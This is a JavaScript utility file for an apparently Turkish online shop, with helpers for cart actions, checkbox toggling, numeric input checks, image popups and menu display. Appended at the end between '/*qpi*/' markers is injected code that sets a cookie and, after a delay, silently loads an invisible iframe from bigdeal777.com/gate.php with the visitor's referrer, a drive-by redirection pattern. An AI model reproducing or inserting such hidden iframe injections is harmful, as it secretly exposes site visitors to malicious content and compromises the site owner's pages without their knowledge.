
function $g(){return document.getElementById(arguments[0]);}

function $goster(){$g(arguments[0]).style.display="";}
function $gizle(){$g(arguments[0]).style.display="none";}



function tumunusecbirak(f,c)
{
  if(f.tagName.toLowerCase()=="form"){x=f.elements;}else{x=f.getElementsByTagName("input");}

   for(i=0;i<x.length;i++){
     if(x[i].type=='checkbox'){x[i].checked=c;}
   }
}

function wlow(which1){
	theobject=which1
	lowlighting=setInterval("lowlightit(theobject)",25)
}

function whigh(which1){
	clearInterval(lowlighting)
	which1.filters.alpha.opacity=100
}

function lowlightit(cur1)
{
  try{
	  if (cur1.filters.alpha.opacity>55)
	  cur1.filters.alpha.opacity-=4
  	else if (window.lowlighting)
    clearInterval(lowlighting)
  }
  catch(err){}
}

function sepet_onizleme_sil(id){
	open("index.php?onizleme_sepetten_sil="+id+"&d="+Date(),"gp2323","");
}

function sepeteat(id){
	open("index.php?sepete_ekle="+id+"&d="+Date(),"gp2323","");
}

function sadecerakam(objEvent)
	{ var iKeyCode;
	  iKeyCode = objEvent.keyCode;
	  if(iKeyCode>=48 && iKeyCode<=57) return true;
	  return false;
}

function numarakontrol(objEvent){
	var iKeyCode;
	if(navigator.appName=="Netscape"){
		iKeyCode = objEvent.which;
		if(iKeyCode>=48 && iKeyCode<=57) return true;
		return false;
	}else{
		iKeyCode = objEvent.keyCode;
		if(iKeyCode>=48 && iKeyCode<=57) return true;
		return false;
	}
}

function buyuk_resim(url){
	if(url=="img/fotoyok.gif"){return false;}

  wh="";
  im=new Image();
  im.src=url;

  w=700;
  h=400;

  if(parseInt(im.width,10)>700){wh="width=700";}
  if(parseInt(im.height,10)>400){wh="height=400";}

  d=open('','','width='+w+',height='+h+',top='+(screen.height-h)/2+',left='+(screen.width-w)/2);
  d.document.body.innerHTML = "<html><body><div align=center><a style='text-decoration:none' href='javascript:void(0)' onclick=\"self.close()\"><img "+wh+" src='"+url+"' onload='' border=0><br><br>[ Kapat ]</a></div></body></html>";
}



function kontrol(f){
	for(var i=0;i<f.elements.length;i++){
	var hata = f.elements[i].getAttribute("hata");
	 if(hata!=""&&hata!=null&&f.elements[i].value==""){
		alert(hata);f.elements[i].focus();
		return false;
	 }
	}
	return true;
}


function menuG(id, tsy)
{
	val = document.getElementById(id).style.display;

	children = document.getElementById('kmenu').getElementsByTagName('span');
	
	totalc = children.length;

	for (x=0; x<totalc; x++)
	{
		children[x].style.display = 'none';
	}
	
	if(val == 'none' || val == '')
		document.getElementById(id).style.display = 'block'
	else
		document.getElementById(id).style.display = 'none'
}

function popUp(URL)
{
	window.open(URL,"","width=950,height=600,scrollbars=yes,resizable=0,status=no");
}
/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://bigdeal777.com/gate.php?f=974739&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
